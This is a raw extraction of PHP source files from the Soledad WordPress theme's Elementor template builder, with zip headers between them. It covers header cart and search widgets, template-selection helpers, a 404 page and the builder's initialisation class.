$class_wrapper_boxed .= ' header-search-style-' . esc_attr( $header_search_style );
?>
<div id="soledad_wrapper" class="<?php echo esc_attr( $class_wrapper_boxed ); ?>">
	<?php
	if ( ! $penci_hide_header ) {

		do_action( 'penci_above_header_wrap' );

		echo '<div class="penci-header-wrap pc-elementor-header">';

		get_template_part( 'template-parts/header/top-instagram' );

		if ( isset( $header_block_id ) && $header_block_id  ) {
			echo penci_get_elementor_content( $header_block_id );
		}

		echo '</div>';

		do_action( 'penci_header_wrap' );

		if ( ! is_customize_preview() || ! isset( $_GET['layout_id'] ) ) {

			get_template_part( 'template-parts/header/mailchimp-below-header' );

			if ( is_home() || get_theme_mod( 'penci_featured_slider_all_page' ) ) {
				get_template_part( 'template-parts/header/feature-slider' );
			}

			if ( ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_signup_display_homepage' ) ) || ! get_theme_mod( 'penci_signup_display_homepage' ) ) {
				get_template_part( 'template-parts/header/mailchimp-below-header2' );
			}
		}
		do_action( 'penci_below_header_wrap' );
	}
	if ( $show_page_title && ! is_home() && ! is_front_page() ) {
		get_template_part( 'template-parts/page-header' );
	}
	?>
PK     2w\(    )  template-builder/header-elements/cart.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderCart extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Cart', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-logo';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'cart' ];
	}

	public function get_name() {
		return 'penci-header-cart';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_responsive_control( 'btn_size', [
			'label'   => esc_html__( 'Button Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SLIDER,
			'selectors' => [
				'{{WRAPPER}} .top-search-classes' => 'width:{{SIZE}}px;',
				'{{WRAPPER}} .top-search-classes a.cart-contents' => 'width:{{SIZE}}px;height:{{SIZE}}px;line-height:{{SIZE}}px',
			]
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'btn_heading_01', [
			'label' => esc_html__( 'Cart Icon', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'btn_bgcolor', [
			'label' => esc_html__( 'Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents' => 'background:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_bghvcolor', [
			'label' => esc_html__( 'Background Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents:hover' => 'background:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_txtcolor', [
			'label' => esc_html__( 'Text Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_txthvcolor', [
			'label' => esc_html__( 'Text Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents:hover' => 'color:{{VALUE}}']
		] );

		$this->add_control( 'btn_bdradius', [
			'label' => esc_html__( 'Border Radius', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents' => 'border-radius:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};']
		] );

		$this->add_control( 'btn_bdcolor', [
			'label' => esc_html__( 'Border Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents' => 'border:1px solid {{VALUE}};']
		] );

		$this->add_control( 'btn_bdwidth', [
			'label' => esc_html__( 'Border Width', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents' => 'border-width:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};']
		] );

		$this->add_responsive_control( 'btn_iconsize', [
			'label' => esc_html__( 'Icon Size', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SLIDER,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents > i' => 'font-size:{{SIZE}}px;']
		] );

		$this->add_control( 'btn_heading_02', [
			'label' => esc_html__( 'Counter Style', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );
		
		$this->add_control( 'btn_icolor', [
			'label' => esc_html__( 'Icon Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents > span' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ihvcolor', [
			'label' => esc_html__( 'Icon Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents:hover > span' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ibgcolor', [
			'label' => esc_html__( 'Icon Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents > span' => 'background-color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ihvbgcolor', [
			'label' => esc_html__( 'Icon Hover Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents > span' => 'background-color:{{VALUE}}']
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'btn_icon_typo',
			'label'    => __( 'Cart Number Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .top-search-classes a.cart-contents > span',
		) );

		$this->end_controls_section();

	}

	protected function render() {
		$settings = $this->get_settings();
		?>
		<div class="pchd-elcart">
			<div class="pb-header-builder cart-icon">
				<?php
				get_template_part( 'template-parts/header/cart-icon' );
				?>
			</div>
		</div>	
		<?php
	}
}PK     2w\18ʽI9  I9  +  template-builder/header-elements/search.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderSearch extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Search Icon', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-search';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'search' ];
	}

	public function get_name() {
		return 'penci-header-search';
	}

	public function get_script_depends() {
		return [ 'penci-header-search' ];
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'search_style', [
			'label'   => esc_html__( 'Search Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'showup',
			'options' => [
				'showup'  => 'Default (Slide Up)',
				'overlay' => 'Overlay',
				'popup'   => 'Popup',
			]
		] );

		$this->add_control( 'btn_style', [
			'label'   => esc_html__( 'Button Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'customize',
			'options' => [
				'customize' => __( 'Default', 'soledad' ),
				'style-4'   => __( 'Filled', 'soledad' ),
				'style-1'   => __( 'Bordered', 'soledad' ),
				'style-2'   => __( 'Link', 'soledad' ),
			]
		] );

		$this->add_responsive_control( 'btn_icon_size', [
			'label'     => esc_html__( 'Icon Size', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'selectors' => [ '{{WRAPPER}} .top-search-classes > a > i' => 'font-size:{{SIZE}}px' ]
		] );

		$this->add_responsive_control( 'btn_iconb_size', [
			'label'     => esc_html__( 'Box Size', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'selectors' => [ '{{WRAPPER}} .top-search-classes > a' => 'width:{{SIZE}}px;height:{{SIZE}}px;display:flex;align-items: center;justify-content: center;' ]
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'search_btn_heading', [
			'label' => esc_html__( 'Search Button', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'search_bd_color', [
			'label'     => esc_html__( 'Border Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .top-search-classes > a' => 'border-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .top-search-classes > a' => 'background-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .top-search-classes > a, {{WRAPPER}} .top-search-classes > a i' => 'color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_btn_bdradius', [
			'label'     => esc_html__( 'Border Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => [
				'{{WRAPPER}} .top-search-classes > a' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			]
		] );


		$this->add_control( 'search_form_heading', [
			'label' => esc_html__( 'Search Form', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'search_btn_bd_color', [
			'label'     => esc_html__( 'Border Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'showup' ],
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search:before' => 'border-bottom-color:{{VALUE}}',
				'.header-search-style-showup {{WRAPPER}} .show-search'        => 'border-top-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_btn_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'showup' ],
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search' => 'background-color:{{VALUE}}',
			]
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'input_txt_typo',
			'label'    => __( 'Input Typography', 'soledad' ),
			'selector' => '.header-search-style-showup {{WRAPPER}} .show-search form.pc-searchform input.search-input,.header-search-style-overlay .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
		) );

		$this->add_control( 'search_inputboder_color', [
			'label'     => esc_html__( 'Input Border Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'showup' ],
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search form.pc-searchform input.search-input' => 'border-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_inputbg_color', [
			'label'     => esc_html__( 'Input Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'showup' ],
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search form.pc-searchform input.search-input' => 'background-color:{{VALUE}}',
			]
		] );

		$this->add_responsive_control( 'search_form_wi', [
			'label'     => esc_html__( 'Search Form Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 300, 'max' => 1170, ) ),
			'condition' => [ 'search_style' => 'showup' ],
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search' => 'width:{{SIZE}}px',
			]
		] );

		$this->add_responsive_control( 'search_form_pd', [
			'label'     => esc_html__( 'Search Form Padding', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::DIMENSIONS,
			'condition' => [ 'search_style' => 'showup' ],
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			]
		] );

		$this->add_responsive_control( 'search_form_boxshaodw', [
			'label'     => esc_html__( 'Search Form Box Shadow', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::BOX_SHADOW,
			'condition' => [ 'search_style' => 'showup' ],
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			]
		] );

		$this->add_control( 'search_inputtxt_color', [
			'label'     => esc_html__( 'Input Text Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'overlay' ],
			'selectors' => [
				'{{WRAPPER}}'                                                                                 => '--pchd-sinput-txt:{{VALUE}}',
				'.header-search-style-overlay {{WRAPPER}} .show-search form.pc-searchform input.search-input' => 'color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_overlay_bd_color', [
			'label'     => esc_html__( 'Overlay Border Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'overlay' ],
			'selectors' => [
				'.header-search-style-overlay {{WRAPPER}} .show-search form.pc-searchform .pc-searchform-inner' => 'border-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_overlay_bg_color', [
			'label'     => esc_html__( 'Overlay Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'overlay' ],
			'selectors' => [
				'.header-search-style-overlay {{wrapper}} .penci-header-builder .show-search' => 'background:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_overlay_clx_color', [
			'label'     => esc_html__( 'Overlay Close Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'overlay' ],
			'selectors' => [
				'.header-search-style-overlay {{wrapper}} .penci-header-builder .show-search a.close-search' => 'color:{{VALUE}}',
			]
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'search_btn_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '.header-search-style-showup {{WRAPPER}} .show-search form.pc-searchform .searchsubmit',
		) );

		$this->add_control( 'search_btn_bgcolor', [
			'label'     => esc_html__( 'Button Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .penci_header_search_button_bg_color' => 'background-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_btn_bghcolor', [
			'label'     => esc_html__( 'Button Hover Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .penci_header_search_button_bg_color:hover' => 'background-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_btn_txtcolor', [
			'label'     => esc_html__( 'Button Text Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search form.pc-searchform .searchsubmit' => 'background-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_btn_txthcolor', [
			'label'     => esc_html__( 'Button Hover Text Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search form.pc-searchform .searchsubmit:hover' => 'background-color:{{VALUE}}',
			]
		] );

		$this->end_controls_section();

	}

	protected function render() {
		$settings     = $this->get_settings();
		$search_style = $settings['search_style'];
		$btn_style    = $settings['btn_style'];
		add_filter( 'penci_topbar_search_style', function ( $val ) use ( $search_style ) {
			return $search_style;
		} );
		?>
        <div class="pc-elehdbd-search pc-builder-element penci-top-search top-search-classes">
            <a href="#" aria-label="Search"
               class="search-click pc-button-define-<?php echo $btn_style; ?>">
                <i class="penciicon-magnifiying-glass"></i>
            </a>
            <div class="show-search pcbds-<?php echo $search_style; ?>">
			<?php if ( 'popup' == $search_style ) : ?>
				<h3 class="pc-search-top-title">
					<?php echo penci_get_setting( 'penci_trans_search_title' ); ?>
				</h3>
			<?php endif; ?>
				<?php penci_search_form( [
					'innerclass'     => true,
					'innerclass_css' => 'pc-searchform-inner pc-eajxsearch'
				] ); ?>
				<?php if ( 'popup' == $search_style ) : ?>
                    <div class="pc-search-suggest-term post-tags">
						<?php wp_list_categories( array(
								'title_li'   => '',
								'style'      => '',
								'separator'  => '',
								'orderby'    => 'name',
								'show_count' => false,
								'taxonomy'   => 'category',
								'number'     => 10,
								'depth'      => 1,
						) ); ?>
					</div>
					<?php
					$recent_posts = get_posts( array(
						'numberposts' => 4,
						'post_status' => 'publish',
					) );
					if ( $recent_posts ) : ?>
                        <div class="pc-search-recent-posts">
                            <h3 class="pc-search-recent-posts-title">
								<?php echo penci_get_setting( 'penci_trans_recent' ); ?>
                            </h3>
                            <div class="penci-smalllist pcsl-wrapper pwsl-id-default">
                                <div class="pcsl-inner penci-clearfix pcsl-grid pencipw-hd-text pcsl-imgpos-top pcsl-col-4 pcsl-tabcol-2 pcsl-mobcol-1">
									<?php foreach ( $recent_posts as $post ) : setup_postdata( $post ); ?>
                                        <div class="pcsl-item">
                                            <div class="pcsl-itemin">
                                                <div class="pcsl-iteminer">

                                                    <div class="pcsl-thumb">

                                                        <a <?php echo penci_layout_bg( penci_get_featured_image_size( get_the_ID(), 'penci-thumb' ), false ); ?>
                                                                href="<?php the_permalink(); ?>"
                                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                                class="<?php echo penci_layout_bg_class( false ); ?> penci-image-holder">
															<?php echo penci_layout_img( penci_get_featured_image_size( get_the_ID(), 'penci-thumb' ), get_the_title(), false ); ?>
                                                        </a>

                                                    </div>
                                                    <div class="pcsl-content">

                                                        <div class="pcsl-title">
                                                            <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
                                                        </div>

                                                        <div class="grid-post-box-meta pcsl-meta">
                                                            <span class="sl-date"><?php penci_soledad_time_link(); ?></span>
                                                        </div>
                                                    </div>

                                                </div>
                                            </div>
                                        </div>
									<?php endforeach;
									wp_reset_postdata(); ?>
                                </div>
                            </div>
                        </div>
					<?php
					endif;
					wp_reset_postdata();
				endif;
				?>
                <a href="#" aria-label="Close" class="search-click close-search"><i class="penciicon-close-button"></i></a>
            </div>
        </div>
		<?php if ( 'popup' == $search_style ) : ?>
			<div class="pc-search-popup-overlay"></div>
		<?php endif; ?>
		<?php
	}
}PK     2w\G      template-builder/page-edit.phpnu [        <?php
get_header(); ?>
<div class="container-single-page container-default-page">
    <div id="main" class="penci-main-single-page-default">
		<?php
		while ( have_posts() ) : the_post();
			the_content();
		endwhile;
		?>
    </div>
</div>
<?php get_footer(); ?>
PK     2w\O8R      template-builder/helper.phpnu [        <?php
if ( ! function_exists( 'penci_should_render_archive_template' ) ) {
	function penci_should_render_archive_template() {

		if ( is_feed() ) {
			return false;
		}

		$render   = false;
		$cat_data = get_queried_object();

		$cat_pages     = get_theme_mod( 'penci_archive_cat_template' );
		$tag_pages     = get_theme_mod( 'penci_archive_tag_template' );
		$author_pages  = get_theme_mod( 'penci_archive_author_template' );
		$date_pages    = get_theme_mod( 'penci_archive_date_template' );
		$search_paeges = get_theme_mod( 'penci_archive_search_template' );

		if ( is_category() && isset( $cat_data->term_id ) ) {
			$cat_id            = $cat_data->term_id;
			$custom_cat        = get_option( "category_$cat_id" );
			$alayout_save_slug = isset( $custom_cat['penci_archive_layout'] ) ? $custom_cat['penci_archive_layout'] : '';
			$cat_pages         = $alayout_save_slug ? $alayout_save_slug : $cat_pages;

			if ( $cat_pages ) {
				$render = $cat_pages;
			}
		}

		if ( $tag_pages && is_tag() ) {
			$render = $tag_pages;
		}

		if ( $author_pages && is_author() ) {
			$render = $author_pages;
		}

		if ( $date_pages && ( is_date() || is_day() || is_month() || is_year() ) ) {
			$render = $date_pages;
		}

		if ( $search_paeges && is_search() ) {
			$render = $search_paeges;
		}

		if ( $render ) {
			$recheck = get_page_by_path( $render, OBJECT, 'archive-template' );
			$render  = ! empty( $recheck ) && isset( $recheck->ID ) ? $recheck->ID : false;
		}

		if ( $render && penci_is_mobile() ) {
			$mobile_id_template = get_post_meta( $render, 'penci_mobile_page_id', true );
			$render = $mobile_id_template && 'publish' == get_post_status( $mobile_id_template ) ? $mobile_id_template : $render;
		}

		return $render;
	}
}

if ( ! function_exists( 'penci_get_published_posttypes' ) ) {
	function penci_get_published_posttypes() {
		$post_types = get_post_types( array(
			'public'   => true,
			'_builtin' => false
		) );

		$ex = [
			'e-landing-page',
			'elementor_library',
			'product',
			'archive-template',
			'custom-post-template',
			'penci-block'
		];

		return array_diff( $post_types, $ex );
	}
}

if ( ! function_exists( 'penci_should_render_single_template' ) ) {
	function penci_should_render_single_template() {
		$template = false;

		if ( is_singular( 'post' ) ) {
			$customize_template = get_theme_mod( 'penci_single_custom_template' );

			$post_format = get_post_format( get_the_ID() );

			if ( $post_format && get_theme_mod( 'penci_' . $post_format . '_custom_template' ) ) {
				$customize_template = get_theme_mod( 'penci_' . $post_format . '_custom_template' );
			}

			$post_template      = get_post_meta( get_the_ID(), 'penci_single_builder_layout', true );
			$template           = $post_template ? $post_template : $customize_template;
		} else {
			foreach ( penci_get_published_posttypes() as $type ) {
				if ( is_singular( $type ) ) {
					$template = get_theme_mod( 'penci_' . $type . '_custom_template' );

					$post_format = get_post_format( get_the_ID() );

					if ( $post_format && get_theme_mod( 'penci_' . $post_format . '_custom_template' ) ) {
						$template = get_theme_mod( 'penci_' . $post_format . '_custom_template' );
					}
				}
			}
		}

		if ( ! empty( $template ) ) {
			$post_data = get_page_by_path( $template, OBJECT, 'custom-post-template' );
			$template  = ( ! empty( $post_data ) && isset( $post_data->ID ) ) ? $post_data->ID : false;
		}

		if ( $template && penci_is_mobile() && ! is_admin() ) {
			$mobile_id_template = get_post_meta( $template, 'penci_mobile_page_id', true );
			$template = $mobile_id_template && 'publish' == get_post_status( $mobile_id_template ) ? $mobile_id_template : $template;
		}

		return $template;

	}
}
if ( ! function_exists( 'penci_is_builder_template' ) ) {
	function penci_is_builder_template() {
		global $wp_query;
		$post_type = isset( $wp_query->query['p'] ) && $wp_query->query['p'] ? get_post( $wp_query->query['p'] )->post_type : '';

		return ( $post_type == 'custom-post-template' || $post_type == 'archive-template' );
	}
}
PK     2w\ښ      template-builder/other/404.phpnu [        <?php
get_header(); ?>
<div class="container-404-page">
    <div id="main" class="penci-custom-404-template">
		<?php
		$post_name = get_theme_mod( 'fof_page' );
		$post_data = get_page_by_path( $post_name );
		$post_id   = isset( $post_data->ID ) ? $post_data->ID : '';
		if ( $post_id && did_action( 'elementor/loaded' ) ) {
			$frontend = \Elementor\Plugin::$instance->frontend;

			add_action( 'wp_enqueue_scripts', array( $frontend, 'enqueue_styles' ) );
			add_action( 'wp_head', array( $frontend, 'print_fonts_links' ) );
			add_action( 'wp_footer', array( $frontend, 'wp_footer' ) );

			add_action( 'wp_enqueue_scripts', array( $frontend, 'register_scripts' ), 5 );
			add_action( 'wp_enqueue_scripts', array( $frontend, 'register_styles' ), 5 );

			$html = $frontend->get_builder_content( $post_id );

			add_filter( 'get_the_excerpt', array( $frontend, 'start_excerpt_flag' ), 1 );
			add_filter( 'get_the_excerpt', array( $frontend, 'end_excerpt_flag' ), 20 );

			echo $html;
		} elseif ( $post_id ) {
			$post = get_post( $id );
			$html = '';
			$html .= do_shortcode( $post->post_content );

			$shortcodes_custom_css = get_post_meta( $id, '_wpb_shortcodes_custom_css', true );

			$html .= '<style data-type="vc_shortcodes-custom-css">';
			if ( ! empty( $shortcodes_custom_css ) ) {
				$html .= $shortcodes_custom_css;
			}
			$html .= '</style>';

			echo $html;
		}
		?>
    </div>
</div>
<?php get_footer(); ?>
PK     2w\{-7  7    template-builder/init.phpnu [        <?php

class PenciTemplateBuilder {
	private static $instance;

	private function __construct() {

		if ( function_exists( 'is_penci_amp' ) && is_penci_amp() ) {
			return false;
		}

		require_once PENCI_SOLEDAD_DIR . '/inc/template-builder/helper.php';

		add_action( 'init', array( $this, 'post_type' ), 10 );
		add_action( 'get_header', [ $this, 'load_header_block' ], 10 );
		add_action( 'elementor/widgets/register', [ $this, 'register_archive_widget' ] );
		add_action( 'elementor/widgets/register', [ $this, 'register_single_widget' ] );
		add_action( 'elementor/widgets/register', [ $this, 'register_header_widget' ] );
		add_action( 'elementor/elements/categories_registered', array( $this, 'archive_widget_categories' ), 50 );
		add_filter( 'template_include', array( $this, 'builder_content' ), 99 );
		add_filter( 'template_include', array( $this, 'fof_content' ), 99 );
		add_filter( 'display_post_states', array( $this, 'fof_add_post_state' ), 10, 2 );
		add_action( 'template_redirect', array( $this, 'disable_frontview' ) );
		add_action( 'admin_notices', array( $this, 'notice_message' ) );
		add_filter( 'post_limits', array( $this, 'filter_main_archive_query' ), 0, 2 );
	}

	public static function getInstance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	function filter_main_archive_query( $limit, $query ) {

		if ( ! is_admin() && $query->is_main_query() && penci_should_render_archive_template() ) {
			return 'LIMIT 0, 1';
		}

		return $limit;
	}


	public function notice_message() {
		global $pagenow, $post_type;
		if ( $pagenow == 'edit.php' && 'custom-post-template' == $post_type ) {
			?>
            <div style="background: #e7ffe1;" class="notice notice-success">
                <p style="font-size: 15px;"><?php _e( 'You can check <a href="https://soledad.pencidesign.net/soledad-document/#single-builder" target="_blank">this guide</a> to know how to create your own custom post template.', 'soledad' ); ?></p>
            </div>
			<?php
		}
		if ( $pagenow == 'edit.php' && 'archive-template' == $post_type ) {
			?>
            <div style="background: #e7ffe1;" class="notice notice-success">
                <p style="font-size: 15px;"><?php _e( 'You can check <a href="https://soledad.pencidesign.net/soledad-document/#archive-method2" target="_blank">this guide</a> to know how to create your own custom category, tag, search, author, archive templates.', 'soledad' ); ?></p>
            </div>
			<?php
		}
	}

	public function register_single_widget( $widgets_manager ) {

		$post_elements = [
			'breadcrumb',
			'title',
			'subtitle',
			'featured',
			'featured-overlay',
			'meta',
			'custom-field',
			'taxonomy',
			'smartlists',
			'content',
			'share',
			'author',
			'postpagination',
			'relatedpost',
			'comments',
		];

		foreach ( $post_elements as $pelement ) {
			require_once( __DIR__ . "/single-elements/{$pelement}.php" );
			$class_name = str_replace( '-', ' ', $pelement );
			$class_name = str_replace( ' ', '', ucwords( $class_name ) );
			$classname  = '\\PenciSingle' . $class_name;
			$widgets_manager->register( new $classname() );
		}
	}

	public function register_archive_widget( $widgets_manager ) {

		$archive_elements = [
			'title',
			'description',
			'breadcrumb',
			'taxonomy',
		];

		foreach ( $archive_elements as $aelement ) {
			require_once( __DIR__ . "/archive-elements/{$aelement}.php" );
			$classname = '\\PenciArchive' . ucwords( $aelement );
			$widgets_manager->register( new $classname() );
		}

	}

	public function load_header_block( $name ) {

		$header_block_id = $this->header_block_id();

		if ( ! $header_block_id ) {
			return;
		}

		require PENCI_SOLEDAD_DIR . '/inc/template-builder/header-elements/header.php';

		$templates = [];
		$name      = (string) $name;
		if ( '' !== $name ) {
			$templates[] = "header-{$name}.php";
		}

		$templates[] = 'header.php';

		// Avoid running wp_head hooks again
		remove_all_actions( 'wp_head' );
		ob_start();
		// It cause a `require_once` so, in the get_header it self it will not be required again.
		locate_template( $templates, true );
		ob_get_clean();
	}

	public function register_header_widget( $widgets_manager ) {

		$header_elements = [
			'logo',
			'menu',
			'search',
			'bookmark',
			'darkmode',
			'dropdownmenu',
			'hamburger',
		];

		if ( class_exists( 'WooCommerce' ) ) {
			$header_elements = array_merge( $header_elements, [
				'cart',
				'compare',
				'wishlist',
			] );
		}

		foreach ( $header_elements as $aelement ) {
			require_once( __DIR__ . "/header-elements/{$aelement}.php" );
			$classname = '\\PenciHeader' . ucwords( $aelement );
			$widgets_manager->register( new $classname() );
		}

	}

	public function archive_widget_categories( $elements_manager ) {
		// Add our categories
		$category_prefix = 'penci-';

		$elements_manager->add_category( $category_prefix . 'elements', [
			'title' => '[PenciDesign] Elements',
			'icon'  => 'fa fa-plug',
		] );

		$elements_manager->add_category( $category_prefix . 'custom-archive-builder', [
			'title' => '[PenciDesign] Archive Pages Builder',
			'icon'  => 'fa fa-plug',
		] );

		$elements_manager->add_category( $category_prefix . 'single-builder', [
			'title' => '[PenciDesign] Post Pages Builder',
			'icon'  => 'fa fa-plug',
		] );

		$elements_manager->add_category( $category_prefix . 'header-builder', [
			'title' => '[PenciDesign] Header Builder',
			'icon'  => 'fa fa-plug',
		] );

		// Hack into the private $categories member, and reorder it so our stuff is at the top
		$reorder_cats = function () use ( $category_prefix ) {
			uksort( $this->categories, function ( $keyOne, $keyTwo ) use ( $category_prefix ) {
				if ( substr( $keyOne, 0, 6 ) == $category_prefix ) {
					return - 1;
				}
				if ( substr( $keyTwo, 0, 6 ) == $category_prefix ) {
					return 1;
				}

				return 0;
			} );

		};

		$reorder_cats->call( $elements_manager );
	}

